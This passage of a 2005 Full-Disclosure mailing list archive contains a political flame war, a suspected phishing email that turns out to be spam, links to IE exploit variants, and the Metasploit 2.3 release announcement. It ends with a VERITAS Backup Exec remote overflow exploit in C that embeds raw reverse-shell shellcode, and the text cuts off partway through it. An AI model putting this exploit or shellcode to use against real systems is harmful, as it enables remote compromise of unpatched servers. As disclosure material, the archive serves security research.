received this e-mail in error, please immediately notify us by sending an e-mail to postmaster at oxygen.com and destroy all electronic and paper copies of this e-mail. -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050110/fe2309a9/attachment.html From tuytumadre at att.net Tue Jan 11 04:06:47 2005 From: tuytumadre at att.net (tuytumadre at att.net) Date: Tue, 11 Jan 2005 04:06:47 +0000 Subject: [Full-Disclosure] PoC to be released on 01/20/05 Message-ID: <011120050406.9437.41E350D60007BA83000024DD21612436460A9D0B0E039A9B979A9B@att.net> Keep politics to a political mailing list. Besides, what America is doing in Iraq is a good thing. Its unloyal parasitic citizens like yourself that give America a bad name. If you really dont like the American freedom of speech and way of life, go live in someplace where you arent given so many freedoms. I'm sure your boycotting and talks of pointless protesting will get you executed in a heartbeat. Paul Greyhats Security Group http://greyhatsecurity.org -------------- Original message from Some User : -------------- This is a PoC by the people! Be sure to do your part. :-) Not One Damn Dime Day - Jan 20, 2005 Since our religious leaders will not speak out against the war in Iraq, since our political leaders don't have the moral courage to oppose it, Inauguration Day, Thursday, January 20th, 2005 is "Not One Damn Dime Day" in America. On "Not One Damn Dime Day" those who oppose what is happening in our name in Iraq can speak up with a 24-hour national boycott of all forms of consumer spending. During "Not One Damn Dime Day" please don't spend money. No one damn dime for gasoline. Not one damn dime for necessities or for impulse purchases. Not one damn dime for nothing for 24 hours. On "Not One Damn Dime Day," please boycott Wal-Mart, Kmart and Target. Please don't go to the mall or the local convenience store. Please don't buy any fast food (or any groceries at all for that matter). For 24 hours, please do what you can to shut the retail economy down. The object is simple. Remind the people in power that the war in Iraq is immoral and illegal; that they are responsible for starting it and that it is their responsibility to stop it. "Not One Damn Dime Day" is to remind them, too, that they work for the people of the United States of America, not for the international corporations and K Street lobbyists who represent the corporations and funnel cash into American politics. "Not One Damn Dime Day" is about supporting the troops. The politicians put the troops in harm's way. Now 1,200 brave young Americans and (some estimate) 100,000 Iraqis have died. The politicians owe our troops a plan - a way to come home. There's no rally to attend. No marching to do. No left or right wing agenda to rant about. On "Not One Damn Dime Day" you take action by doing nothing. You open your mouth by keeping your wallet closed. For 24 hours, nothing gets spent, not one damn dime, to remind our religious leaders and our politicians of their moral responsibility to end the war in Iraq and give America back to the people. ==> Please share this email. <== Original sent by: James Wong Marsteller Interactive Do you Yahoo!? The all-new My Yahoo! ? What will yours do? -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050111/85cf3c6c/attachment.html -------------- next part -------------- _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html From measl at mfn.org Tue Jan 11 04:36:07 2005 From: measl at mfn.org (J.A. Terranson) Date: Mon, 10 Jan 2005 22:36:07 -0600 (CST) Subject: [Full-Disclosure] PoC to be released on 01/20/05 In-Reply-To: <011120050406.9437.41E350D60007BA83000024DD21612436460A9D0B0E039A9B979A9B@att.net> References: <011120050406.9437.41E350D60007BA83000024DD21612436460A9D0B0E039A9B979A9B@att.net> Message-ID: <20050110223310.C87259@ubzr.zsa.bet> On Tue, 11 Jan 2005 tuytumadre at att.net wrote: > Keep politics to a political mailing list. Besides, what America is > doing in Iraq is a good thing. Its unloyal parasitic citizens like > yourself that give America a bad name. No. It's morons like you who believe that any opinion which differs from your own is somehow "disloyal". If The Other Bonehead had won the election, and then pulled the troops out, would saying he was an idiot for doing so till be "disloyal"? You people need to try and use your [woefully inadequate] brains before throwing terms like "disloyal" around. -- Yours, J.A. Terranson sysadmin at mfn.org 0xBD4A95BF Civilization is in a tailspin - everything is backwards, everything is upside down- doctors destroy health, psychiatrists destroy minds, lawyers destroy justice, the major media destroy information, governments destroy freedom and religions destroy spirituality - yet it is claimed to be healthy, just, informed, free and spiritual. We live in a social system whose community, wealth, love and life is derived from alienation, poverty, self-hate and medical murder - yet we tell ourselves that it is biologically and ecologically sustainable. The Bush plan to screen whole US population for mental illness clearly indicates that mental illness starts at the top. Rev Dr Michael Ellner From b.griffin at cqu.edu.au Tue Jan 11 04:43:55 2005 From: b.griffin at cqu.edu.au (Brad Griffin) Date: Tue, 11 Jan 2005 14:43:55 +1000 Subject: [OFF TOPIC] [Full-Disclosure] PoC to be released on 01/20/05 Message-ID: Practice what you preach and STF up about politics ya drongo. Damn, I got baited by a political moron wearing Rose coloured glasses. -----Original Message----- From: full-disclosure-bounces at lists.netsys.com [mailto:full-disclosure-bounces at lists.netsys.com] On Behalf Of tuytumadre at att.net Sent: Tuesday, January 11, 2005 2:07 PM To: Some User Cc: full-disclosure at lists.netsys.com Subject: Re: [Full-Disclosure] PoC to be released on 01/20/05 Keep politics to a political mailing list. Besides, what America is doing in Iraq is a good thing. Its unloyal parasitic citizens like yourself that give America a bad name. If you really dont like the American freedom of speech and way of life, go live in someplace where you arent given so many freedoms. I'm sure your boycotting and talks of pointless protesting will get you executed in a heartbeat. Paul Greyhats Security Group http://greyhatsecurity.org -------------- Original message from Some User : -------------- This is a PoC by the people! Be sure to do your part. :-) Not One Damn Dime Day - Jan 20, 2005 Since our religious leaders will not speak out against the war in Iraq, since our political leaders don't have the moral courage to oppose it, Inauguration Day, Thursday, January 20th, 2005 is "Not One Damn Dime Day" in America. On "Not One Damn Dime Day" those who oppose what is happening in our name in Iraq can speak up with a 24-hour national boycott of all forms of consumer spending. During "Not One Damn Dime Day" please don't spend money. No one damn dime for gasoline. Not one damn dime for necessities or for impulse purchases. Not one damn dime for nothing for 24 hours. On "Not One Damn Dime Day," please boycott Wal-Mart, Kmart and Target. Please don't go to the mall or the local convenience store. Please don't buy any fast food (or any groceries at all for that matter). For 24 hours, please do what you can to shut the retail economy down. The object is simple. Remind the people in power that the war in Iraq is immoral and illegal; that they are responsible for starting it and that it is their responsibility to stop it. "Not One Damn Dime Day" is to remind them, too, that they work for the people of the United States of America, not for the international corporations and K Street lobbyists who represent the corporations and funnel cash into American politics. "Not One Damn Dime Day" is about supporting the troops. The politicians put the troops in harm's way. Now 1,200 brave young Americans and (some estimate) 100,000 Iraqis have died. The politicians owe our troops a plan - a way to come home. There's no rally to attend. No marching to do. No left or right wing agenda to rant about. On "Not One Damn Dime Day" you take action by doing nothing. You open your mouth by keeping your wallet closed. For 24 hours, nothing gets spent, not one damn dime, to remind our religious leaders and our politicians of their moral responsibility to end the war in Iraq and give America back to the people. ==> Please share this email. <== Original sent by: James Wong Marsteller Interactive ________________________________ Do you Yahoo!? The all-new My Yahoo! - What will yours do? From Valdis.Kletnieks at vt.edu Tue Jan 11 05:18:15 2005 From: Valdis.Kletnieks at vt.edu (Valdis.Kletnieks at vt.edu) Date: Tue, 11 Jan 2005 00:18:15 -0500 Subject: [Full-Disclosure] PoC to be released on 01/20/05 In-Reply-To: Your message of "Mon, 10 Jan 2005 22:36:07 CST." <20050110223310.C87259@ubzr.zsa.bet> References: <011120050406.9437.41E350D60007BA83000024DD21612436460A9D0B0E039A9B979A9B@att.net> <20050110223310.C87259@ubzr.zsa.bet> Message-ID: <200501110518.j0B5IGAI032273@turing-police.cc.vt.edu> On Mon, 10 Jan 2005 22:36:07 CST, "J.A. Terranson" said: > > On Tue, 11 Jan 2005 tuytumadre at att.net wrote: > > > Keep politics to a political mailing list. Besides, what America is > > doing in Iraq is a good thing. Its unloyal parasitic citizens like > > yourself that give America a bad name. > > > No. It's morons like you who believe that any opinion which differs from > your own is somehow "disloyal". If The Other Bonehead had won the > election, and then pulled the troops out, would saying he was an idiot for > doing so till be "disloyal"? > > You people need to try and use your [woefully inadequate] brains before > throwing terms like "disloyal" around. Amen to that. "To announce that we are to stand by the president right or wrong is not only unpatriotic and servile, but it's morally treasonable to the American public. Nothing but the truth should be spoken about him or any one else. But it is even more important to tell the truth, pleasant or unpleasant, about him than about any one else." -- Theodore Roosevelt There you go. Said by one of the greatest patriots since the Revolutionary War - and he's urging Full Disclosure. ;) (At least *TEDDY* is on-topic here, even if non of the rest of the thread is. ;) -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 226 bytes Desc: not available Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050111/73baef06/attachment.bin From uberguidoz at gmail.com Tue Jan 11 06:53:55 2005 From: uberguidoz at gmail.com (GuidoZ) Date: Mon, 10 Jan 2005 22:53:55 -0800 Subject: [Full-Disclosure] PoC to be released on 01/20/05 In-Reply-To: <3AF76382C31760418AF0FBFD84F714035D0DD2@MI8NYCMAIL07.Mi8.com> References: <3AF76382C31760418AF0FBFD84F714035D0DD2@MI8NYCMAIL07.Mi8.com> Message-ID: Well said, James. It really doesn't matter if you agree or disagree with the statements... this isn't the place for such discussions. Hiding behind an anonymous Yahoo email address is pretty weak too. If you *really* need to express yourself so badly, at least reveal your identity. -- Peace. ~G On Mon, 10 Jan 2005 22:32:25 -0500, James Patterson Wicks wrote: > > > > How about Read The List Charter Day. > > > > - For 24 hours, do not create a bogus Yahoo email account and send out > questions or statements not related to network security or the full > disclosure of security issues. > > - For 24 hours, do not burden serious security professionals with your > personal political opinions > > - For 24 hours, close your mouth, tape your fingers and read the list > charter that clearly states "Politics should be avoided at all costs." > > > > This is Full Disclosure. "The list was created on 9th July 2002 by Len > Rose, and is primarily concerned with security issues and their discussion." > > > > Since Snopes.com feels that this whole thing might be an urban legend > (http://www.snopes.com/politics/war/not1dime.asp) you might want think about > this a little more before send the message out again. > > [snip] From theinsider at 012.net.il Tue Jan 11 08:36:32 2005 From: theinsider at 012.net.il (Rafel Ivgi, The-Insider) Date: Tue, 11 Jan 2005 10:36:32 +0200 Subject: [Full-Disclosure] UPDATED: the insider exploit( = the latest ie 0day which involves SHOWMODALDIALOG) Message-ID: <001c01c4f7b8$a7aea420$f85ab350@noone> I forgot to tell everyone that i made an aspx version of jelmers exploit. So lets sum it up, all the exploits to 0-day --> "The-Insider-Prototype"(as defined by Liu) are: 1) JSP VERSION BY JELMER - http://www.k-otik.com/exploits/07072004.IEApplicationShell.php 2) PHP VERSION BY Liu Die Yu- http://0daymon.org/monitor/insider/dir.zip 3) ASPX VERSION BY Rafel ivgi -http://theinsider.deep-ice.com/The-Insider.zip Greetings: Liu Die Yu, Drew Copley, Malware Rafel Ivgi, The-Insider Security Consultant From juha-matti.laurio at om.fi Tue Jan 11 09:29:52 2005 From: juha-matti.laurio at om.fi (juha-matti.laurio at om.fi) Date: Tue, 11 Jan 2005 11:29:52 +0200 Subject: [Full-Disclosure] Re: AV security contacts Message-ID: There is Open Source Vulnerability Database (OSVDB) Vendor Dictionary available at http://www.osvdb.org/vendor_dict.php Common e-mail address and/or security contact is available in that list, for example http://www.osvdb.org/vendor_dict.php?section=vendor&id=1229&c=S (Symantec). Additionally, Secunia has their Products => Software section page available, http://secunia.com/product/#software for example http://secunia.com/product/164/ (Sophos). You can select 'Vendor' link to visit vendor's home page. Look at 'Contact Us' etc. However, you waited for reply to your question only three hours. Check those lists and send your analysis to them. Regards, Juha-Matti From dan_20407 at msn.com Tue Jan 11 02:27:55 2005 From: dan_20407 at msn.com (DAN MORRILL) Date: Tue, 11 Jan 2005 02:27:55 +0000 Subject: [Full-Disclosure] Interesting but suspicious possible phishing mail Message-ID: Hi folks, Got this really interesting mail in my box today, and knowing that I haven't used that e-mail address or ordered anything on line lately. Wondering if it might not be a phishing e-mail. Haven't seen anything like this before. Anyone see anything similar? r/ Dan from : Gabrielle U. Philips, Jr Sent : Monday, January 10, 2005 10:40 PM To : "Gabrielle U. Philips, Jr" CC : mdamon at qwest.net, mdamore at qwest.net, mdan12 at qwest.net, mdan22 at qwest.net, mdan32 at qwest.net Subject : Shipping Notification, Tracking Number : TCD461649887242ESB MIME-Version: 1.0 Received: from msnmail2.uswest.net ([63.226.138.22]) by mc10-f38.hotmail.com with Microsoft SMTPSVC(6.0.3790.211); Mon, 10 Jan 2005 14:45:54 -0800 Received: (qmail 72801 invoked by uid 0); 10 Jan 2005 22:45:55 -0000 Received: from unknown (63.226.138.18) by msnmail2.uswest.net with QMQP; 10 Jan 2005 22:45:55 -0000 Received: (qmail 56089 invoked by uid 0); 10 Jan 2005 22:45:55 -0000 Received: from 42-171-64.adsl.cust.tie.cl (200.42.171.64) by mpls-cmx-12.inet.qwest.net with SMTP; 10 Jan 2005 22:45:42 -0000 X-Message-Info: JGTYoYF78jHm2Kmrh/becsOSGajhcE+aqhdcaXLDOFI= Delivered-To: mdan12 at qwest.net X-DCC-Qwest.net-Metrics: mpls-cmx-12.inet.qwest.net 1210; Body=4 Fuz1=4Fuz2=4 Return-Path: ihgeclhtquoqdm at gawab.com X-OriginalArrivalTime: 10 Jan 2005 22:45:54.0814 (UTC) FILETIME=[24BA71E0:01C4F766] Content-Type: multipart/mixed; boundary="-----mpls-cmx-12.inet.qwest.net-1105397155-56110" Content-Type: text/plain This email was forwarded from your previous Qwest.net email address to your MSN email address. To discontinue email forwarding for any future emails sent to your previous Qwest.net email address, please contact MSN Customer Service. Content-Type: message/rfc822 Content-Description: forwarded message Content-Transfer-Encoding: 8bit Content-Disposition: inline From: Gabrielle U. Philips, Jr To: "Gabrielle U. Philips, Jr" Cc: mdamon at qwest.net, mdamore at qwest.net, mdan12 at qwest.net, mdan22 at qwest.net, mdan32 at qwest.net Subject: Shipping Notification, Tracking Number : TCD461649887242ESB Sent: Monday, January 10, 2005 10:40 PM MIME-Version: 1.0 Received: (qmail 56089 invoked by uid 0); 10 Jan 2005 22:45:55 -0000 Received: from 42-171-64.adsl.cust.tie.cl (200.42.171.64) by mpls-cmx-12.inet.qwest.net with SMTP; 10 Jan 2005 22:45:42 -0000 X-DCC-Qwest.net-Metrics: mpls-cmx-12.inet.qwest.net 1210; Body=4 Fuz1=4Fuz2=4 Content-Type: multipart/alternative; boundary="--Part_GRKDac7J6.oMXawOLoYO4" Content-Type: text/html; format=flowed; charset=iso-8859-15 Content-Transfer-Encoding: quoted-printable Check your status Below: cov2pa.com/track.asp?cg=1&c=tc The illiterate of the 21st century will not be those who cannot read and write, but those who cannot learn, unlearn, and relearn. Alvin Toffler Those police officers are practicing driving between the two buildings. The illiterate of the 21st century will not be those who cannot read and write, but those who cannot learn, unlearn, and relearn. Alvin Toffler Haven't the photographers already disliked praying? Few things are harder to put up with than the annoyance of a good example. 3 When people are free to do as they please, they usually imitate each other. -Eric Hoffer (1902-1983) Have you already loved sleeping? Sometimes MSN E-mail will indicate that the mesasge failed to be delivered. Please resend when you get those, it does not mean that the mail box is bad, merely that MSN mail is over worked at the time. _________________________________________________________________ Don?t just search. Find. Check out the new MSN Search! http://search.msn.click-url.com/go/onm00200636ave/direct/01/ From macygasp at gmail.com Tue Jan 11 07:56:32 2005 From: macygasp at gmail.com (Marcy Darcy) Date: Tue, 11 Jan 2005 07:56:32 +0000 Subject: [Full-Disclosure] Linux kernel uselib() privilege elevation, corrected Message-ID: <888c2d720501102356552821df@mail.gmail.com> I'm running a small server with the 2.6.10 kernel. The exploit doesen't seem to be working on this kernel. Is there a way to make sure the sistem is vulnerable or not? #uname -a Linux test 2.6.10 #1 SMP Mon Jan 3 10:20:00 i686 Intel(R) Pentium(R) 4 CPU 3.00GHz GenuineIntel GNU/Linux From rohit at kritikalsolutions.com Tue Jan 11 08:27:38 2005 From: rohit at kritikalsolutions.com (rohit at kritikalsolutions.com) Date: Tue, 11 Jan 2005 13:57:38 +0530 (IST) Subject: [Full-Disclosure] Security Contact for Nokia Mobile phone softwares Message-ID: <50229.203.190.133.11.1105432058.squirrel@203.190.133.11> Hi, Does anyone know of security contact for Nokia or symbian OS? Specifically for models 6600 and 7610. Please reply to me directly as I am not on the list. Thanks Rohit From nicolas.waisman at immunitysec.com Tue Jan 11 10:11:57 2005 From: nicolas.waisman at immunitysec.com (Nicolas Waisman) Date: Tue, 11 Jan 2005 05:11:57 -0500 Subject: [Full-Disclosure] full-disclosure@lists.netsys.com Message-ID: <20050111101157.GA27814@fist.immunitysec.com> Libdisassemble is not a disassembler, just a lib. The simple disassemble it is just an example of how easy is to use it (it's a two-line assembler that shows how to incorporate it's opcode dissassembly. hence the term 'lib..dissassembly') Nico Immunity, Inc > my mistake... >short jump: >it's JMP_Address + 2 + Second_Byte_value = Next_Instruction_Address >shadown at twister:~/tmp$ echo -n -e "\x75\x65" > a >shadown at twister:~/tmp$ ndisasm -b32 a >00000000 7565 jnz 0x67 >shadown at twister:~/tmp$ ~/instalar/libdisassemble/disassemble.py a 0x0 0xff >Disassembling file a at offset: 0x0 > 00000000: jnz 0x65 >this is where my mistake came from ;) >thnx From ferruh at mavituna.com Tue Jan 11 10:36:02 2005 From: ferruh at mavituna.com (Ferruh Mavituna) Date: Tue, 11 Jan 2005 12:36:02 +0200 Subject: [Full-Disclosure] UPDATED: the insider exploit( = the latest ie0day which involves SHOWMODALDIALOG) In-Reply-To: <001c01c4f7b8$a7aea420$f85ab350@noone> Message-ID: <200501111036.j0BAaPrs023856@lists.netsys.com> 4) Classic ASP version; http://ferruh.mavituna.com/article/?553 Ferruh Mavituna http://ferruh.mavituna.com PGPKey: http://ferruh.mavituna.com/pgpkey.asc > -----Original Message----- > From: full-disclosure-bounces at lists.netsys.com > [mailto:full-disclosure-bounces at lists.netsys.com] On Behalf > Of Rafel Ivgi, The-Insider > Sent: Tuesday, January 11, 2005 10:37 AM > To: bugtraq at securityfocus.com; > full-disclosure at lists.netsys.com; NTBUGTRAQ at LISTSERV.NTBUGTRAQ.COM > Subject: RE: [Full-Disclosure] UPDATED: the insider exploit( > = the latest ie0day which involves SHOWMODALDIALOG) > > I forgot to tell everyone that i made an aspx version of > jelmers exploit. > > So lets sum it up, all the exploits to 0-day --> > "The-Insider-Prototype"(as defined by Liu) are: > 1) JSP VERSION BY JELMER - > http://www.k-otik.com/exploits/07072004.IEApplicationShell.php > 2) PHP VERSION BY Liu Die Yu- > http://0daymon.org/monitor/insider/dir.zip > 3) ASPX VERSION BY Rafel > ivgi -http://theinsider.deep-ice.com/The-Insider.zip > > > Greetings: Liu Die Yu, Drew Copley, Malware > > Rafel Ivgi, The-Insider > Security Consultant > > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.netsys.com/full-disclosure-charter.html > From var at deny-all.com Tue Jan 11 10:50:41 2005 From: var at deny-all.com (Vincent Archer) Date: Tue, 11 Jan 2005 11:50:41 +0100 Subject: [Full-Disclosure] Interesting but suspicious possible phishing mail In-Reply-To: References: Message-ID: <20050111105041.GH13828@DAPCVA.da> On Tue, Jan 11, 2005 at 02:27:55AM +0000, DAN MORRILL wrote: > Got this really interesting mail in my box today, and knowing that I > haven't used that e-mail address or ordered anything on line lately. > Wondering if it might not be a phishing e-mail. Haven't seen anything like > this before. Anyone see anything similar? No, not phishing. Just the usual spam for on-line meds. Major hints: spurious text destined to foil bayesian spam filters, subject targeted to get you to open the mail ("what? I didn't order anything!"). -- Vincent ARCHER varcher at denyall.com Tel : +33 (0)1 40 07 47 14 Fax : +33 (0)1 40 07 47 27 Deny All - 5, rue Scribe - 75009 Paris - France www.denyall.com From fdlist at digitaloffense.net Tue Jan 11 11:21:57 2005 From: fdlist at digitaloffense.net (H D Moore) Date: Tue, 11 Jan 2005 05:21:57 -0600 Subject: [Full-Disclosure] Metasploit Framework v2.3 Message-ID: <200501110521.57728@M3T4> The Metasploit Framework is an advanced open-source exploit development platform. The 2.3 release includes three user interfaces, 46 exploits and 68 payloads. The Framework will run on any modern operating system that has a working Perl interpreter. The Windows installer includes a slimmed-down version of the Cygwin environment. Some highlights in this release: - Complete overhaul of the Framework payload collection + Win32 ordinal-stagers are now included (92-byte reverse connect) + A handful of new sparc payloads have been added (sol, linux, bsd) + Reliability problems have been resolved in bsd, linux, and win32 + New udp-based linux shell stagers and shell payloads + New size-optimized Mac OS X encoders and payloads - Includes the win32 version of the Meterpreter + Dynamically load new features over the network w/o disk access + In-memory dll injection of the basic meterpreter shell + Current extensions include Fs, Process, Net, and Sys + Extensive documentation is available online: * http://metasploit.com/projects/Framework/docs/meterpreter.pdf - Complete rewrite of the 'msfweb' user interface + Generate and encode stand-alone shellcode from the web interface + The interface is skinnable and includes three different themes + Streaming HTTP is used to provide a 100% web-based shell + Ability to set advanced options in the web interface - Massive speed enhancements in msfconsole and msfweb + Snappier response and quicker load times on older systems + Optimizations made to various sort/search algorithms + Modules are no longer reloaded after each exploit - New exploits + Microsoft WINS Service Memory Overwrite (MS04-045) + Samba trans2open() Buffer Overflow (Mac OS X) + 4D WebSTAR FTP Server Buffer Overflow (Mac OS X) + Veritas Name Service Registration Buffer Overflow + AOL Instant Messenger 'goaway' Buffer Overflow + IPSwitch IMail IMAPD 'delete' Buffer Overflow + Seattle Labs Mail Server POP3 Buffer Overflow + UoW IMAPD Buffer Overflow (sparc, ia32) + IRIX lpdsched Remote Command Execution + CDE dtspcd Buffer Overflow (Solaris) + IIS 4.0 ism.dll HTR Buffer Overflow + IIS w3who.dll ISAPI Buffer Overflow This release is available from the Metasploit.com web site: - Unix: http://metasploit.com/tools/framework-2.3.tar.gz - Win32: http://metasploit.com/tools/framework-2.3.exe Screen shots of the new release are online and available from: - http://metasploit.com/projects/Framework/screenshots.html A demonstration of the new msfweb interface is running live from: - http://metasploit.com:55555/ Exploit modules designed for the 2.2 release should maintain compatibility with 2.3. If you run into any problems using older modules with this release, please let us know. The Framework development team consists of four active members and a handful of part-time contributors. Check out the 'Credits' exploit module for a complete list of contributors. You can subscribe to the Metasploit Framework mailing list by sending a blank email to framework-subscribe[at]metasploit.com. This is the preferred way to submit bugs, suggest new features, and discuss the Framework with other users. If you would like to contact us directly, please email us at: msfdev[at]metasploit.com. Starting with the 2.2 release, it is now possible to perform a system-wide installation of the Framework. Simply extract the tarball into the directory of your choice and create symbolic links from the msf* executables to a directory in the system path. Users may maintain their own exploit module collections by placing them into ~/.msf/exploits/. If you are interested in adding the Framework to a operating system distribution, please drop us a line and we will gladly help with the integration and testing process. For more information about the Framework and this release in general, please refer to the online documentation, particularly the User Guide: - http://metasploit.com/projects/Framework/documentation.html The Opcode Database has been refactored in order to support more granular queries. The new version provides users with the ability to easily cross reference specific opcode types, classes, and meta classes across one or more modules for one or more operating system versions. This level of granular control allows for a robust and flexible interface that can be used to determine opcode portability. Aside from opcodes themselves, the opcode database also contains detailed information about the segments, imports, and exports that are associated with each module in the database. A quick overview of the features included in the new database are: - Granular searching of opcodes of a specific type, class, and meta class. - Searching modules provided directly from Windbg's module list. - Cross referencing opcodes across various operating system version. - Detailed module information including segments, imports, and exports. You can access the beta version of the new Opcode Database at: - http://metasploit.com/opcode_beta.html Enjoy! - The Metasploit Framework Development Team ( hdm, spoonm, skape, and vlad902 ) From class101 at hat-squad.com Tue Jan 11 11:39:28 2005 From: class101 at hat-squad.com (class 101) Date: Tue, 11 Jan 2005 12:39:28 +0100 Subject: [Full-Disclosure] VERITAS Backup Exec 8.x/9.x Remote Universal Exploit Message-ID: <004001c4f7d2$366b21c0$0200a8c0@box> Because k-otik are poor looser not respecting the publication of metasploit 2.3 , im forced to post my code. /* VERITAS Backup Exec v9.1.4691.SP1 v9.1.4691.SP0 v8.5.3572 Agent Browser Service, Remote Stack Overflow Highly Critical All credits to: -iDEFENSE(discovery-www.iDEFENSE.com), -Thor Doomen(iat-syscall[at]inbox.lv), -H.D. Moore(scode-www.metasploit.com), -Matt Miller(scode-www.hick.org) ExtraNotes: All my tests/debugs where a bit long (some days) firstly due to the big size of Backup Exec and the unstability accross differents windows versions to make working that IAT method with 100% success and the difficulty to debug it. (As a recall, due to the 60 bytes only free, a tiny shellcode is send in first to scan the recv function of benetns.exe and jump to the data submitted during the second send, thanx syscall. Let's think large now. Imagine that you exploits the hole and you submit the shellcode 5 minutes later, the service will hang on to death of course until a kill, now imagine that you exploits the hole and you submit the shellcode too faslty for the, computer processing, the shellcode can be missed, wont be executed again, sometimes yes/no, but really unstable. Hopefully (or unfortunely for you admin :>) I'm here to optimize it and make it 100% working, universal, stable whatever you want for the good fortune of script kiddies and to show what mean working to my good friends ka-odick :> Tries Machine Bind / Rverse / Success (2x) Win2k SP4 Server English 10 10 20 (1x) Win2k SP4 Pro English 5 5 10 (1x) WinXP SP1 Pro English 5 5 10 (1x) WinXP SP1a Pro English 5 5 10 (3x) Win2003 SP0 Server English 5 5 10 (1x) Win2003 SP0 Server Ita. 5 5 10 (1x) NT4 Server English. 5 5 10 = Universal v0.1: C code based on Thor Doomen's code posted at the metasploit mailing list, excellent in the method, but super unstable to not say not working when used, made some changes. v0.2: fix of the first big problem , the missed shellcode accross differents windows, fixed by flooding benetns with more sends, timer really small, this is important. padding 1 nop to the reverse shellcode as needed, else crash on reverse. v0.3: universal esi call across v9.1 SP0 and SP1, for the good fortune of script kiddies. v0.4: As a warning, this poc v0.4 as been tested working by an anonymous tester (never mentionned there) on some organisations such nasa, states/edus, it's urgent to update 1 month after the advisory, sleepers. Tips: -make sure that your ip is safe of null bytes in reverse mode. -make sure that you targets the good version of Backup Exec, else you crash it. -Backup Exec v10.0 is now available, get it at www.veritas.com. -Visit dfind.kd-team.com for a patched benetns.exe, quick solution for an urgent update. (extracted from the hotfix at www.veritas.com) Backup Exec 9.x is tested safe after replacing the .exe Greetings: Nima Majidi Behrang Fouladi Pejman keystr0ke JGS DiabloHorn kimatrix NaV New Metasploit v2.3 (http://www.metasploit.com/) and all idlers of #n3ws on Eris Free Network. by class101 [at] hat-squad.com answering to all stupid questions that I got & will have, no I'm not persian and you don't care where I come from. 04 January 2005 */ #include #include #include #ifdef WIN32 #include "winsock2.h" #pragma comment(lib, "ws2_32") #else #include #include #include #include #include #include #include #include #include #include #endif char scode1[]= file://Matt Millers 'skape' shellcode. "\x90" // pad needed their for me, if you get scode detection problems on slow connections, file://try to add more NOP and make sure to update the memcpys later in the code. "\xeb\x6e\x33\xc0\x64\x8b\x40\x30\x85\xc0\x78\x0d\x56\x8b\x40\x0c\x8b\x70\x1c\xad" "\x8b\x40\x08\x5e\xc3\x8b\x40\x34\x83\xc0\x7c\x8b\x40\x3c\xc3\x60\x8b\x6c\x24\x24" "\x8b\x45\x3c\x8b\x7c\x05\x78\x03\xfd\x8b\x4f\x18\x8b\x5f\x20\x03\xdd\xe3\x33\x49" "\x8b\x34\x8b\x03\xf5\x33\xc0\x99\xfc\xac\x84\xc0\x74\x07\xc1\xca\x0d\x03\xd0\xeb" "\xf4\x3b\x54\x24\x28\x75\xe2\x8b\x5f\x24\x03\xdd\x66\x8b\x0c\x4b\x8b\x5f\x1c\x03" "\xdd\x8b\x04\x8b\x03\xc5\x89\x44\x24\x1c\x61\xc3\xeb\x35\xad\x50\x52\xe8\xa9\xff" "\xff\xff\x89\x07\x83\xc4\x08\x83\xc7\x04\x3b\xf1\x75\xec\xc3\x8e\x4e\x0e\xec\x72" "\xfe\xb3\x16\x7e\xd8\xe2\x73\xad\xd9\x05\xce\xd9\x09\xf5\xad\xec\xf9\xaa\x60\xcb" "\xed\xfc\x3b\xe7\x79\xc6\x79\x83\xec\x60\x8b\xec\xeb\x02\xeb\x05\xe8\xf9\xff\xff" "\xff\x5e\xe8\x47\xff\xff\xff\x8b\xd0\x83\xee\x2e\x8d\x7d\x04\x8b\xce\x83\xc1\x10" "\xe8\xa5\xff\xff\xff\x83\xc1\x10\x33\xc0\x66\xb8\x33\x32\x50\x68\x77\x73\x32\x5f" "\x8b\xdc\x51\x52\x53\xff\x55\x04\x5a\x59\x8b\xd0\xe8\x85\xff\xff\xff\xb8\x01\x63" "\x6d\x64\xc1\xf8\x08\x50\x89\x65\x30\x33\xc0\x66\xb8\x90\x01\x2b\xe0\x54\x83\xc0" "\x72\x50\xff\x55\x1c\x33\xc0\x50\x50\x50\x50\x40\x50\x40\x50\xff\x55\x14\x8b\xf0" "\x68\x7f\x01\x01\x01\xb8\x02\x01\x11\x5c\xfe\xcc\x50\x8b\xdc\x33\xc0\xb0\x10\x50" "\x53\x56\xff\x55\x18\x33\xc9\xb1\x54\x2b\xe1\x8b\xfc\x57\x33\xc0\xf3\xaa\x5f\xc6" "\x07\x44\xfe\x47\x2d\x57\x8b\xc6\x8d\x7f\x38\xab\xab\xab\x5f\x33\xc0\x8d\x77\x44" "\x56\x57\x50\x50\x50\x40\x50\x48\x50\x50\xff\x75\x30\x50\xff\x55\x08\xf7\xd0\x50" "\xff\x36\xff\x55\x10\xff\x77\x38\xff\x55\x20\xff\x55\x0c\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"; char scode2[]= file://HD.Moore Shellcode file://"\x90" uncomment this if you have scode detection problem on slows connections or try more NOP, file://but for me and some other guys its already fine like this. "\xEB" "\x0F\x58\x80\x30\x88\x40\x81\x38\x68\x61\x63\x6B\x75\xF4\xEB\x05\xE8\xEC\xFF\xFF" "\xFF\x60\xDE\x88\x88\x88\xDB\xDD\xDE\xDF\x03\xE4\xAC\x90\x03\xCD\xB4\x03\xDC\x8D" "\xF0\x89\x62\x03\xC2\x90\x03\xD2\xA8\x89\x63\x6B\xBA\xC1\x03\xBC\x03\x89\x66\xB9" "\x77\x74\xB9\x48\x24\xB0\x68\xFC\x8F\x49\x47\x85\x89\x4F\x63\x7A\xB3\xF4\xAC\x9C" 